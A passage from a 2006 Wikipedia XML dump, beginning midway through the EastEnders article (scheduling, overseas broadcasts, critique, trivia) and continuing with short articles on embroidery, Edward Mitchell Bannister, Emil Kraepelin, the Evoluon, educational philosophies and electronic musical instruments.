Originally ''EastEnders'' was shown twice weekly at 7.00 p.m., however it soon moved to 7.30 p.m. as Michael Grade did not want the soap running in direct competition with ''Emmerdale Farm''; the BBC had originally planned to take advantage of the 'summer break' that ''Emmerdale Farm'' usually took in order to capitalise on ratings, but ITV added extra episodes and repeats so that ''Emmerdale Farm'' was not taken off over the summer.  Realising the futility of the situation, Grade decided to move the show to the later 7:30 p.m. slot, but to avoid tabloid speculation that it was a 'panic move' on the BBC's behalf, they had to &quot;dress up the presentation of that move in such a way as to protect the show&quot; giving &quot;all kinds of reasons&quot; for the move . 

''EastEnders'' output then increased to thrice after ''Coronation Street'' added an extra episode - in response to competition from ''EastEnders''. ''EastEnders'' then added its fourth episode (shown on Fridays) on [[August 10th]] 2001. This caused some controversy as it clashed with ''Coronation Street'', which at the time was moved to 8.00  p.m. to make way for an hour long episode of rural soap ''Emmerdale'' at 7.00  p.m.. The move immediately provoked an angry response from ITV insiders, who argued that the BBC's last-minute move - only revealed at 3.30  p.m. on the day - broke an unwritten scheduling rule that the two flagship soaps would not be put directly against each other. In this first head-to-head battle, ''EastEnders'' claimed victory over its rival.

In 1998, ''[[EastEnders Revealed]]'' was launched on [[BBC Choice]] (now [[BBC3]]), the show takes a look behind the scenes of the show and investigates particular places, characters or families within ''EastEnders''. ''EastEnders Revealed'' is the only BBC Choice programme to last the entire life of the channel and is still running on BBC3. An episode of ''EastEnders Revealed'' which was commissioned for BBC3 attracted 611,000 viewers.

In early 2003, viewers could watch episodes of ''EastEnders'' on digital channel BBC3 before they were broadcast on BBC One. This was to coincide with the relaunch of the channel and helped BBC3 break the one million viewers for the first time with 1.03 million who watched to see [[Mark Fowler]]'s departure. 

In [[February 2005]], there were reports that the ''EastEnders'' schedule was threatened due to production problems. Newspaper reports indicated that the show faced being taken off air for a fortnight after a storyline shortage, however this was denied by the BBC. In March of the same year, as [[Peter Fincham]] became the BBC One controller, rumours were sparked that ''EastEnders'' could air in a new time slot.

''EastEnders'' is usually repeated on BBC3 at 10:00  p.m. and old [[reruns]] can often be seen on [[UKTV Gold]] (As of February 2006, UKTV Gold are showing episodes originally aired in December 2002. They are showing 5 episodes which means that 5 week's worth of episodes are shown every 4 weeks, which results in a catch-up rate of around 3 months a year).

As part of the BBC's digital push, ''[[EastEnders Xtra]]'' was introduced in 2005. The show is presented by Angelica Bell and available to digital viewers at 8.30  p.m. on Monday nights. The series goes behind the scenes of the show and talks to some of the cast members. The current series has now finished.

===International screenings===
''EastEnders'' is aired around the world in many [[English language|English-speaking]] countries, including [[New Zealand]] and [[Canada]]. The series aired in the [[United States]] until [[BBC America]] ceased broadcasts of the serial in 2003, amidst fan protests. It is still shown on [[BBC Prime]] in [[Europe]], [[Africa]], and [[Asia]], and on [[BBC Canada]] in [[Canada]].

In June, 2004, the Dish Satellite Network picked up ''EastEnders'', airing episodes starting at the point where BBC America had ceased broadcasting them, offering the serial as a Pay-per-View item.  Dish first broadcast two weeks' worth of shows each week to get caught up.  In approximately February, 2005, the programming reached the point of being one month behind the new shows being aired in the UK.  At that point, Dish stopped its double-helping schedule, and now maintains the schedule of airing the new programmes consistently one month behind the UK schedule. Episodes from prior years are still shown on various PBS stations in the US. 

The American [[Public Broadcasting Service|PBS]] channel, [[KOCE-TV]] ran the show one episode per week from 1990 to 1993. The series was screened in [[Australia]] by the [[Australian Broadcasting Corporation|ABC]] from 1987 until the early 1990s. Currently the series is seen in Australia only on pay-TV channel [[UK.TV]]. In [[New Zealand]], it was shown by [[TVNZ]] on TV One, but is now on [[Prime Television New Zealand|Prime]]. In [[Republic of Ireland|Ireland]], it is shown on [[RTÉ One]] at the same time as [[BBC One]], which is also widely received in the country.

It is also shown on the [[British Forces Broadcasting Service]]'s main TV channel, BFBS1, to members of [[Military of the United Kingdom|HM Forces]] stationed around the world.

===Critique===
''EastEnders'' has received both praise and criticism for most of its storylines which have dealt with difficult themes, such as violence, rape and murder.

[[Mary Whitehouse]] argued at the time that ''EastEnders'' represented a violation of 'family viewing time' and that it undermined the [[Watershed (television)|watershed]] policy. She regarded ''EastEnders'' as a fundamental assault on the family and morality itself. She made reference to representation of family life and emphasis on psychological and emotional violence within the show. She was also critical of language such as 'bleeding', 'bloody hell', 'bastard' and 'For Christ's sake'. However Whitehouse also praised the programme, describing Michelle Fowler's decision not to have an abortion as a 'very positive storyline'. She also felt that ''EastEnders'' had been cleaned up as a result of her protests, though she later commented that ''EastEnders'' had returned to its old ways. Her criticisms were widely reported in the tabloid press as ammunition in its existing rivalry with the BBC. The stars of ''Coronation Street'' in particular aligned themselves with Mary Whitehouse, gaining headlines such as &quot;STREETS AHEAD! RIVALS LASH SEEDY EASTENDERS&quot; and &quot;CLEAN UP SOAP! Street Star Bill Lashes 'Steamy' EastEnders&quot;.

The long-running storyline of Mark Fowler's HIV was so successful in raising awareness that in 1999 a survey by the ''National Aids Trust'' found teenagers got most of their information about HIV from the soap. Though, one campaigner noted that in some ways the storyline was not reflective of what was happening at the time as the condition was more common among the gay community. Mark struggles with various issues connected to his HIV status including public fears of contamination, a marriage breakdown connected to his inability to have children, and the side effects of combination therapies. However in 2003 when the makers of the series decided to write Mark out of the series they sent him away to travel, and several months later word was received from overseas that he had died.

The child abuse storyline with Kat and her uncle Harry, saw calls to the ''National Society for the Prevention of Cruelty to Children'' ([[NSPCC]]) go up by 60%. The chief executive of the NSPCC praised the storyline, for covering the subject in a direct and sensitive way, coming to the conclusion that people were more likely to report any issues relating to child protection because of it. In 2002 ''EastEnders'' also won an award from the ''Mental Health Media Awards'' held at BAFTA for this storyline.

''EastEnders'' is often criticised for being too violent, most notably during a [[domestic violence]] storyline between Little Mo and husband Trevor. As ''EastEnders'' is shown pre-watershed, there were worries that scenes of this storyline were too graphic for its audience. Complaints against a scene in which Little Mo's face was shoved in gravy on Christmas day, were upheld by the ''Broadcasting Standards Council''. However, a helpline after this episode attracted over 2000 calls. [[Erin Pizzey]], who became internationally famous for having started one of the first Women's Refuges, said that ''EastEnders'' had done more to raise the issue of violence against women in one story than she had done in twenty-five years.

In 2003, Shaun Williamson who played Barry Evans, said that the programme had become much grittier over the past 10 to 15 years, and found it &quot;frightening&quot; that parents let their young children watch.

The BBC was criticised of anti-religious bias by a committee in the [[House of Lords]], examples of this suggestion included ''EastEnders''. Dr Indarjit Singh, the editor of the Sikh Messenger and patron of the World Congress of Faiths, said: &quot;''EastEnders''' [[Dot Branning|Dot Cotton]] is an example. She quotes endlessly from the Bible and it ridicules [religion] to some extent.&quot;

==Trivia==
*Between 2001 and 2002, EastEnders was the 10th most searched-for TV show on the Internet.
*''EastEnders'' was the 2nd most popular UK search term in 2003.
*''EastEnders'' was the 4th most popular UK search term in 2004.
*''EastEnders'' was the 1st most popular UK search term in 2005.
*''EastEnders'' holds the record for the highest rated soap episode in Britain.
*In 2001 ''EastEnders'' went head to head with ''[[Coronation Street]]'' for the first time, ''EastEnders'' won the battle with 8.4 million viewers (41%) while ''Coronation Street'' attracted 7.3 million (36%).
*There is a shop in [[Walford]] named ''Barratt's Bargain Corner'', cleverly incorporating the [[BBC]]'s initials.
*[[Susan Tully]] who played Michelle Fowler has directed some episodes since leaving.
*[[Sheila Hancock]] has appeared in the soap playing Barbara Owen.
*[[Madonna (entertainer)|Madonna]] and [[Guy Ritchie]] are rumoured to be big fans of the show, with Madonna's favourite character being [[Dot Cotton]].
*[[George Michael]], [[Brad Pitt]] and [[Jennifer Aniston]] are also fans of the soap. 
*[[Brad Pitt]] is such a fan of the soap that when BBC America took EastEnders off the air in 2003, he and his then wife [[Jennifer Aniston]] joined a petition of 15,000 US fans demanding the cable channel reinstate it.
*[[Robbie Williams]] has made a [[cameo appearance]] on the telephone in the Queen Vic and is a big fan of the show.
*Martha Ross, mother of [[television presenter]] [[Jonathan Ross|Jonathan]], has been an [[extra (drama)|extra]] in the programme, as a [[market]] stallholder, since its inception.
*Before the [[Spice Girls]], [[Emma Bunton]] was cast as a troubled youth in the soap.
*Researchers, from the [[BBC]], went to the East End and visited 'Fassett Square' in the 1980&amp;#8217;s, Albert Square is based on 'Fassett Square' which is dubbed the &quot;real life Albert Square&quot;.
*The famous double-handers when only two actors appear in an episode was originally done for speed: while they film that, the rest of the cast can be making another episode.
*Pam St Clement (Pat) has 125 pairs of earrings from which to choose and fans still send her earrings in which she wears in the programme.
*Leslie Grantham originally auditioned for the part of Pete Beale but was thought too good looking so was instead cast as [[Den Watts]].
*The War memorial on set features names of people involved in ''EastEnders'' along with past stars.
*[[Oxfam]] was the main outlet used for the actors costumes when the series was first made.
*A vocal version of the theme tune called 'Anyone can fall in Love' reached number 4 in the charts in the summer of 1986 and was sung by Anita Dobson (Angie Watts).
*The Queen visited the set in 2001 and was shown around by actresses Wendy Richard and Barbara Windsor.
*The roads around Albert Square are not built to scale: they look real but some can only take one car at a time.
*When [[Barbara Windsor]] joined in 1994, she was only contracted for ten episodes.
*Albert Square is built on the site last used for building works in the 1980s ''[[Auf Wiedersehen, Pet]]''.
*In 1993, the show's theme tune was updated to a Jazzy version, first heard on [[11 May]] [[1993]]. However, it proved very unpopular with the viewers and was replaced with a remix of the original theme tune only 11 months later, from [[11 April]] [[1994]] (Also the first Monday edition of the show).
* ''EastEnders'' was the inaugural winner of the 1999 [[BAFTA]] for best continuing drama.
*Since ''EastEnders'' began in 1985, at least one of its episodes have rated higher than any other British soap opera throughout each decade. This includes the 1980's, 1990's and so far the 2000's.
*Osymyso a.k.a Mark Nicholson, one of the UK's original [[Bastard pop|bootleg]] artists created a track based on remixed scenes of the Pat vs Peggy showdown.
* On Friday the [[11 November]] [[2005]], ''EastEnders'' was the first British drama to feature a two minute silence.
*[[Lulu (singer)|Lulu]] is a big fan of the show.
*Originally there was a storyline written that the whole Ferreira clan killed their pushy father Dan, but after Dalip Tahil could not get a visa for working in the U.K the storyline was scrapped and instead [[Ronny Ferreira]] got stabbed.

==Further reading==
{{main|Further Reading on EastEnders}}
* ''EastEnders: The First 10 Years: A Celebration'', Colin Brake (1994, [[BBC]] Books, ISBN 0563370572 (hardback); 1995, [[Penguin Books|Penguin]], ISBN 0140253394 (updated paperback)) &amp;mdash; Official guide to the soap&amp;#8217;s first decade.
* ''Public Secrets: EastEnders and its Audience'', David Buckingham (1987, [[BFI]], ISBN 0851702104)
* ''The EastEnders Programme Guide'', Josephine Munro (1994, [[Virgin Group|Virgin]] Publishing, ISBN 0863698255)
* ''EastEnders: The Inside Story'', Julia Smith and Tony Holland (1987, BBC Books, ISBN 0563206012)

==See also==
*[[Wikipedia:WikiProject EastEnders]]
*[[EastEnders Revealed]]
*[[EastEnders Xtra]]
*[[EastEnders theme tune]]
*[[EastEnders merchandise]]
*[[EastEnders off set episodes]]
*[[List of characters from EastEnders]]
*[[List of past EastEnders characters by year of exit]]
*[[List of pets in EastEnders]]
*[[List of residences in EastEnders]]
*[[Storylines of EastEnders]]
**[[Sharongate]], [[Shannis]], [[Molfie]]
*[[Walford]], [[London E20]]
**[[Albert Square]]
**[[Walford East]], [[The Queen Vic]], [[The Dagmar]], [[Angie's Den]], [[E20 (nightclub)|E20]]

==References==
* {{Citenews | title=EastEnders loses to soap wedding | date=[[January 5]] [[2005]] | org=BBC | url=http://news.bbc.co.uk/1/hi/entertainment/tv_and_radio/4149733.stm}}

* {{Citenews | title=EastEnders loses out to Emmerdale | date=[[September 22]] [[2004]] | org=BBC | url=http://news.bbc.co.uk/1/hi/entertainment/tv_and_radio/3679776.stm}}

* {{Citenews | title=EastEnders wins soap battle | date=[[August 13]] [[2001]] | org=The Guardian | url=http://media.guardian.co.uk/broadcast/story/0,7493,536090,00.html}}

* {{Citenews | title=EastEnders wins soaps showdown | date=[[August 11]] [[2001]] | org=BBC | url=http://news.bbc.co.uk/1/hi/entertainment/tv_and_radio/1485953.stm}}

* {{Citenews | title=Axe falls on EastEnders boss | date=[[September 22]] [[2004]] | org=The Guardian| url=http://media.guardian.co.uk/broadcast/story/0,7493,1309899,00.html}}

* {{Citenews | title=BBC3 breaks down the barriers  | date=[[February 14]] [[2003]] | org=The Guardian | url=http://media.guardian.co.uk/overnights/story/0,7965,895615,00.html}}

* [http://www.bbc.co.uk/eastenders/ BBC: ''EastEnders'', official site]

* {{cite book | author=Smith, Rupert | title=EastEnders: 20 Years in Albert Square | publisher=BBC Books, BBC Worldwide Ltd | year=2005 | id=ISBN 0563521651}}

==External links==
{{wikiquote}}
* [http://www.bbc.co.uk/eastenders/ BBC - ''EastEnders''] Official site
* [http://www.tv-heaven.co.uk/forum EastEnders spoilers and discussion]
*{{imdb title|id=0088512|title=EastEnders}}
* [http://www.starfury.demon.co.uk/uground/walford.html Underground ''EastEnders''] Information on Walford East
* [http://www.walfordweb.co.uk Walford Web ]'' EastEnders'' on the Net
* [http://www.wgazette.com/ The Walford Gazette]
* [http://www.nceastenders.com/ North Carolina ''EastEnders'' Fan Club]
* [http://www.walford.net/ Walford.net] Archive of ''EastEnders'' Updates
* [http://groups-beta.google.com/group/rec.arts.tv.uk.eastenders/ rec.arts.tv.uk.eastenders]
* [http://popmatters.com/tv/reviews/e/eastenders.shtml PopMatters] ''EastEnders'' review
* [http://www.museum.tv/archives/etv/E/htmlE/eastenders/eastenders.htm Encyclopedia of Television]
* [http://www.saveeastenders.com Save ''EastEnders''] Originally set up when the show was taken off air in America
* [http://www.bbc.co.uk/writersroom/insight/insight_eastenders_face2face.shtml BBC writers room] Face2Face with ''EastEnders''
* [http://www.e-subversive.net/soundboards/eastenders/ Eastenders soundboard]
* [http://www.walford-underground.com/ Walford Underground] EastEnders Community
* [http://www.talkwalford.co.uk/ipb/ Talk Walford] Talk about the show with fans

[[Category:EastEnders]]
[[Category:Social realism]]
[[Category:BBC television programmes]]

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  </page>
  <page>
    <title>Embroidery</title>
    <id>9996</id>
    <revision>
      <id>41965249</id>
      <timestamp>2006-03-02T22:48:09Z</timestamp>
      <contributor>
        <username>GilliamJF</username>
        <id>506179</id>
      </contributor>
      <comment>dab stitch</comment>
      <text xml:space="preserve">[[Image:Gold embroidery.jpg|thumb|250px|Gold Embroidery]]

'''Embroidery''' is the [[art]] or [[handicraft]] of decorating [[fabric]] or other [[material]]s with designs [[Embroidery stitch|stitch]]ed in strands of [[yarn|thread or yarn]] using a [[needle]]. Embroidery may also incorporate other materials such as [[metal]] strips, [[pearl]]s, [[bead]]s, [[quill]]s, and [[sequin]]s.

==Types of embroidery==
[[Image:Cross stitch embroidery.jpg|thumb|right|250px|[[Cross-stitch]] embroidery, [[Hungary]], mid-20th century]]

Embroidery is classified according to its use of the underlying foundation fabric.  One classification system divides embroidery styles according to the relationship of stitch placement to the fabric:

*In [[free embroidery]], designs are applied without regard to the weave of the underlying fabric.  Examples include [[crewel embroidery|crewel]] and traditional [[China|Chinese]] embroidery.

The most ornate and tedious form of embroidery is the Zardosi workmanship mainly originatingfrom India.This form uses metal thread instead of the ususal silk or rayon.The fabric usually silk or velvet is marked with the pattern and then the craftsman covers the pattern with metal thread embellishing it with stonesor beads.

Another form of embroidery from India is the Ari work. This work is done by stretching the fabric on a frame and creating the stiches from a long a needle.The needle also carries sequence, beads, and other embelishments to decorate the pattern.

As a matter of fact India has almost 72 forms of embroidery original to every region.

*In [[counted-thread embroidery]], patterns are created by making stitches over a pre-determined number of threads in the foundation fabric.  Counted-thread embroidery is more easily worked on an [[even-weave]] foundation fabric such as embroidery [[canvas]], [[aida cloth]], or specially woven [[cotton]] and [[linen]] fabrics although non-evenweave linen is used as well. Examples include [[needlepoint]] and [[cross-stitch]].

A second division classifies embroidery according to whether the design is stitched ''on top of'' or ''through'' the foundation fabric:
 
* In '''[[Surface embroidery]]''', patterns are worked on top of the foundation fabric using decorative stitches and laid threads. Surface embroidery encompasses most free embroidery as well as some forms of counted-thread embroidery (such as [[cross-stitch]]).

* In '''[[Canvas work]]''', threads are stitched through a fabric mesh to create a dense pattern that completely covers the foundation fabric.  All canvas work is not counted-thread embroidery.  There are printed and hand painted canvases where the painted or printed image is meant to serve as a color guide.  Stitches are of the stitcher's choosing.

[[ang:Blēocræft]]
[[de:Sticken]]
[[eo:Brodado]]
[[fr:Broderie]]
[[he:רקמה (מלאכת יד)]]
[[nl:Borduren]]
[[ja:刺繍]]
[[ru:Изонить]]
[[sv:Broderi]]
[[zh:刺绣]]</text>
    </revision>
  </page>
  <page>
    <title>Edward Mitchell Bannister</title>
    <id>9997</id>
    <revision>
      <id>38287512</id>
      <timestamp>2006-02-05T09:24:50Z</timestamp>
      <contributor>
        <username>Reyk</username>
        <id>378651</id>
      </contributor>
      <minor />
      <comment>grammar</comment>
      <text xml:space="preserve">'''Edward Mitchell Bannister''' (ca.[[1828]] - [[1901]]) was an African American [[painter]] whose tonalism and predominantly pastoral subject matter owed much to his admiration for Millet and the French Barbizon  School. He was born in St Andrews, New Brunswick, moving to New England in the late 1840s, where he remained for the rest of his life. While Bannister was well-known in the artistic community of his adopted home of Providence, Rhode Island and admired within the wider East Coast art world (he won a bronze medal for his large oil &quot;Under the Oaks&quot; at the [[1876]] [[Philadelphia Centennial]]), he has been largely forgotten for a complexity of reasons, primarily that of race.

Bibliography:
Anne Louise Avery, The Veiled Landscape: Space and Place in the Art and Life of Edward Mitchell Bannister [Unpublished PhD Thesis including a Catalogue Raisonne, 2005]
{{US-painter-stub}}

[[Category:1828 births|Bannister, Edward Mitchell]]
[[Category:1901 deaths|Bannister, Edward Mitchell]]
[[Category:American painters|Bannister, Edward Mitchell]]
[[Category:Landscape artists|Bannister, Edward Mitchell]]
[[Category:African American artists]]</text>
    </revision>
  </page>
  <page>
    <title>Eliezer S. Yudkowsky</title>
    <id>9998</id>
    <revision>
      <id>15907844</id>
      <timestamp>2004-12-03T22:42:10Z</timestamp>
      <contributor>
        <username>Poccil</username>
        <id>79805</id>
      </contributor>
      <comment>#redirect [[Singularity Institute for Artificial Intelligence]] - [[Wikipedia:WikiProject Wiki Syntax|Please help out by clicking here to fix someone else's Wiki syntax]]</comment>
      <text xml:space="preserve">#redirect [[Singularity Institute for Artificial Intelligence]]</text>
    </revision>
  </page>
  <page>
    <title>Educational philosophies</title>
    <id>9999</id>
    <revision>
      <id>15907845</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Philosophy of education]]
</text>
    </revision>
  </page>
  <page>
    <title>Eiffel</title>
    <id>10000</id>
    <revision>
      <id>36863978</id>
      <timestamp>2006-01-26T23:37:19Z</timestamp>
      <contributor>
        <username>Hede2000</username>
        <id>284384</id>
      </contributor>
      <minor />
      <comment>+da:</comment>
      <text xml:space="preserve">'''Eiffel''' can refer to several things:

* The [[Eiffel Tower]] in [[Paris]]
* [[Gustave Eiffel]], builder of the said tower
* The [[Eiffel programming language]], developed by [[Bertrand Meyer]], and named after [[Gustave Eiffel]]
* The [[Eifel]] region of [[Germany]] (''Eiffel'' is a common misspelling)
* [[Eiffel 65]], an [[electronic music|electronic]] [[dance music|dance]] [[pop music|pop]] band

{{disambig}}

[[ca:Eiffel]]
[[da:Eiffel]]
[[de:Eiffel]]
[[es:Eiffel]]
[[ko:에펠]]
[[it:Eiffel]]
[[th:ไอเฟล]]</text>
    </revision>
  </page>
  <page>
    <title>Emil Kraepelin</title>
    <id>10002</id>
    <revision>
      <id>40159001</id>
      <timestamp>2006-02-18T16:37:38Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{cleanup-date|December 2005}}
'''Emil Kraepelin''' ([[February 15]] [[1856]]- [[October 7]] [[1926]]) was a [[Germany|German]] [[Psychiatrist]] who attempted to create a synthesis of the hundreds of mental disorders classified by the 19th century, grouping diseases together based on classification of common ''patterns'' of symptoms, rather than by simple similarity of major symptoms in the manner of his predecessors. In fact, it was precisely because of the demonstrated inadequacy of such methods that Kraepelin developed his new diagnostic system. 

&lt;table align=&quot;left&quot;&gt;&lt;tr&gt;&lt;td&gt;[[Image:Emil_Kraepelin.png|Photograph of Emil Kraepelin]]&lt;/tr&gt;&lt;/td&gt;&lt;/table&gt;

In 1886, after only eight years of training, he was appointed to a professorship at the [[University of Tartu]] (then ''Dorpat'') in what is today [[Estonia]] and became the director of an eighty-bed University Clinic. There he was able to study and record many clinical histories in detail and &quot;was led to consider the importance of the course of the illness with regard to the classification of mental disorders.&quot; Ten years later he announced that he had found a new way of looking at mental illness. He referred to the traditional view as &quot;symptomatic&quot; and to his view as &quot;clinical.&quot; 

Drawing on his long term research, and using the criteria of course, outcome and prognosis, he developed the concept of [[dementia praecox]], which he defined as the &quot;sub-acute development of a peculiar simple condition of mental weakness occurring at a youthful age.&quot;  When he first introduced this concept as diagnostic entity in the fourth German edition of his ''Lehrbuch der Psychiatrie'' in 1893, it was placed among the degenerative disorders alongside, but separate from, [[katatonia]] and [[dementia paranoides]]. At that time the concept corresponded by and large with [[Ewald Hecker]]'s [[hebephrenia]]. In the sixth edition of the ''Lehrbuch'' in 1899 all three of these clinical types are treated but as different expressions of one disease, dementia praecox.

Kraepelin postulated that there is a specific brain or other biological pathology underlying each of the major psychiatric disorders. Just as his laboratory discovered the pathologic basis of what is now known as [[Alzheimers disease]], Kraepelin was confident that it would someday be possible to identify the pathologic basis of each of the major psychiatric disorders. 

One of the cardinal principles of his method was the recognition that any given symptom may appear in virtually any one of these disorders; i.e. there is virtually no single symptom occurring in dementia praecox (the name was later changed to &quot;schizophrenia&quot; by Eugen Bleuler), which cannot sometimes be found in manic-depression. What distinguishes each disease symptomatically (as opposed to the underlying pathology) is not any particular (pathognomonic) symptom or symptoms, but a specific pattern of symptoms. In the absence of a direct physiological or genetic test or marker for each disease, it is only possible to distinguish them by their specific pattern of symptoms. Thus, Kraepelin's system is a method for pattern recognition, not grouping by common symptoms. 

Kraepelin also demonstrated specific patterns in the genetics of these disorders and specific and characteristic patterns in their course and outcome. Generally speaking, there tend to be more schizophrenics among the relatives of schizophrenic patients than in the general population, while manic-depression is more frequent in the relatives of manic-depressives. 

He also reported a pattern to the course and outcome of these conditions. Kraepelin believed that schizophrenia had a deteriorating course in which mental function continuously (although perhaps erratically) declines, while manic-depressive patients experienced a course of illness which was intermittent, where patients were relatively symptom-free during the intervals which separate acute episodes. This led Kraepelin to name what we now know as [[schizophrenia]], ''dementia praecox'' (the [[dementia]] part signifing the irreversible mental decline). It later became clear that ''dementia praecox'' did not necessarily lead to mental decline and so was renamed by [[Eugene Bleuler]] to correct the misnomer.

Kraepelin is credited with the classification of what was previously considered to be a unitary concept of [[psychosis]], into two distinct forms:
* [[Manic Depression]] (now seen as comprising a range of mood disorders such as Major [[Clinical depression|Depression]] and [[Bipolar Disorder]]), and
* Dementia praecox, which was later renamed [[schizophrenia]] by [[Eugene Bleuler]].

Kraepelin was also a colleague of [[Alois Alzheimer]], and co-discoverer with Alzheimer of [[Alzheimers Disease]].

In addition to his distinction between dementia praecox and manic-depression, Kraepelin should be credited with being the founder of modern scientific psychiatry, psychopharmacology and psychiatric genetics, according to the eminent psychologist [[H. J. Eysenck]] in his ''Encyclopedia of Psychology.'' Kraepelin postulated that psychiatric diseases are principally caused by biological and genetic disorders. His psychiatric theories dominated the field of psychiatry at the beginning of the twentieth century. He vigorously opposed the approach of [[Freud]] who regarded and treated psychiatric disorders as caused by psychological factors. 

Kraepelin's contribution was largely ignored throughout much of the twentieth century, with the success of Freudian etiological theories. Kraepelin's basic concepts however now dominate psychiatric research and academic psychiatry, and today the published literature in the field of psychiatry is overwhelmingly biological and genetic in its orientation. Kraepelin's great contribution in discovering schizophrenia and manic-depression remains relatively unknown to the general public and his work is little read. This is despite the recent widespread adoption of his fundamental theories on the etiology and diagnosis of psychiatric disorders, which form the basis of all major diagnostic systems in use today, especially the [[American Psychiatric Association]]'s [[DSM-IV]] and the [[World Health Organization]]'s [[ICD-10|ICD]] system. 

For a more complete description of the epic social and political battle that gave rise to [[Freudianism]] (from an anti-Freudian perspective), see psychiatrist [[E. Fuller Torrey]]'s &quot;The Freudian Fraud&quot;.

== References ==

*Wolfgang Burgmair, Eric J. Engstrom &amp; Matthias Weber, eds. ''Emil Kraepelin''. 5 vols. Munich: belleville, 2000-2005.

== External links ==
 
*[http://www.kraepelin.org/_wsn/page3.html Extensive bibliography of English translations of Kraepelin's works] 
*[http://www.mpipsykl.mpg.de/ Extensive bibliography of works by and about Kraepelin's including those in the original German]

See 
* [http://www.engstrom.de/KRAEPELINBIOGRAPHY.pdf]
* [http://www.uni-leipzig.de/~psy/eng/kraep-e.html] and
* [http://websrv.ucsu.edu/facstaff/tbrown/times/obits/kraepelin.htm]
for biographies of Kraepelin.

*[http://www.kraepelin.org/ International Kraepelin Society contact]

[[Category:1856 births|Kraepelin, Emil]]
[[Category:1926 deaths|Kraepelin, Emil]]
[[Category:German psychiatrists|Kraepelin, Emil]]
[[Category:German neuroscientists|Kraepelin, Emil]]
[[Category:Psychosis]]

[[de:Emil Kraepelin]]
[[fr:Emil Kraepelin]]
[[is:Emil Kraepelin]]
[[nl:Emil Kraepelin]]
[[ja:エミール・クレペリン]]
[[ru:Крепелин, Эмиль]]
[[tr:Emil Kraepelin]]</text>
    </revision>
  </page>
  <page>
    <title>Evoluon</title>
    <id>10003</id>
    <revision>
      <id>31957258</id>
      <timestamp>2005-12-19T10:55:51Z</timestamp>
      <contributor>
        <username>Baszoetekouw</username>
        <id>255629</id>
      </contributor>
      <minor />
      <comment>image placement</comment>
      <text xml:space="preserve">[[Image:evoluon.jpg|right|300px]]
The '''Evoluon''' is a former [[science museum]] erected by [[Philips]] in [[Eindhoven]], the [[Netherlands]]. The building was designed by the architect [[Louis Christiaan Kalff]], while the exhibition was conceived by [[James Gardner]]. The building was based on an idea by [[Frits Philips]], who originally made a sketch of the building on a paper napkin. Frits Philips wanted to give the people of Eindhoven a beautiful and educational gift to celebrate the birthday of the company that bears his name.

The building is unique due to its resemblance to a landed [[unidentified flying object|flying saucer]], which makes it look very futuristic. After the original museum closed down in 1989, the Evoluon was converted into a [[conference center]] in 1994.

==External links==
* [http://www.evoluon.nl The Evoluon's website]
* [http://www.evoluon.org Extensive site about the history of the Evoluon]

{{Euro-struct-stub}}
[[nl:Evoluon]]
[[de:Evoluon]]</text>
    </revision>
  </page>
  <page>
    <title>Educational essentialism</title>
    <id>10004</id>
    <revision>
      <id>41132379</id>
      <timestamp>2006-02-25T06:25:50Z</timestamp>
      <contributor>
        <username>Ambi</username>
        <id>13040</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Bobblewik|Bobblewik]] ([[User talk:Bobblewik|talk]]) to last version by Ahoerstemeier</comment>
      <text xml:space="preserve">:''If you are looking for other uses of the term essentialism, please go [[Essentialism|here]].''

In [[education]] '''essentialism''' is a theory that states  that children should learn the traditional basic subjects and that these should be learned thoroughly and rigorously.  An essentialist program normally teaches children progressively, from less complex skills to more complex.

An Essentialist will usually teach some set subjects similar to Reading, Writing, Literature, Foreign Languages, History, Math, Science, Art, and Music.

[[William Bagley]] ([[1874]]-[[1946]]) was an important historical Essentialist.

Essentialism is related to the [[cultural literacy]] movement, which advocates the teaching of a core set of knowledge common to (and assumed to be possessed by) members of a culture or society.  See also [[E.D. Hirsch]].

For a discussion of other educational philosophies, see [[educational philosophies]] and [[education reform]].</text>
    </revision>
  </page>
  <page>
    <title>Educational progressivism</title>
    <id>10005</id>
    <revision>
      <id>36679171</id>
      <timestamp>2006-01-25T19:34:24Z</timestamp>
      <contributor>
        <username>Master Scott Hall</username>
        <id>673395</id>
      </contributor>
      <minor />
      <comment>[[Category:Alternative education]]</comment>
      <text xml:space="preserve">{{Progressivism}}
'''Educational progressivism''' is the belief that education must be based on the fact that humans are social animals who learn best in real-life activities with other people.  Progressivists claimed to rely on the best available scientific theories of learning.  Most believed that children learned as if they were scientists, following a process similar to [[John Dewey]]'s model of learning:

# Become aware of the problem.
# Define the problem.
# Propose [[Hypothesis|hypotheses]] to solve it.
# Evaluate the consequences of the hypotheses from one's past experience.
# Test the most likely solution.

Given this view of human nature, a progressivist teacher desires to provide not just reading and drill, but also real-world experiences and activities that center on the real life of the students.  A typical progressivist slogan is &quot;Learn by Doing!&quot;

In [[1957]], the orbiting of [[Sputnik I|Sputnik]] caused a panic in educational establishments as Americans and Europeans felt they had fallen behind the Soviet Union technologically.  A rethinking of education theory followed that caused progressivism to fall from favor.

However, today some schools use progressive education methods, such as hands on activities and science experiments in Junior High Schools.

==See also==

* [[Experiential education]]
* [[Educational philosophies]]
* [[Education reform]]
* [[Humanistic education]]

==Sources==

*''World Book 2004''

[[Category:Alternative education]]
[[Category:Educational philosophy]]
[[Category:Progressivism]]

[[de:Reformpädagogik]]
[[es:Pedagogía libertaria]]
[[fr:Éducation nouvelle]]
[[pt:Pedagogia Libertária]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic musical instrument</title>
    <id>10006</id>
    <revision>
      <id>41141814</id>
      <timestamp>2006-02-25T08:20:50Z</timestamp>
      <contributor>
        <username>Neshatian</username>
        <id>708008</id>
      </contributor>
      <minor />
      <comment>Definition refined</comment>
      <text xml:space="preserve">An '''electronic musical instrument''' is a [[musical instrument]] that produces its sounds using [[electronics]]. In contrast, the term [[electric instrument]] is used to mean instruments whose sound is produced mechanically, and only amplified or altered electronically - for example an [[electric guitar]]. Usually the instrument will have some way of controlling the sound, such as by adjusting the [[pitch (music)|pitch]], [[frequency]], or duration of each [[note]].

All electric and electronic musical instruments can be viewed as a subset of [[audio signal processing]] applications. Simple electronic musical instruments are sometimes called [[sound effect]]s; the border between sound effects and actual musical instruments is often hazy.

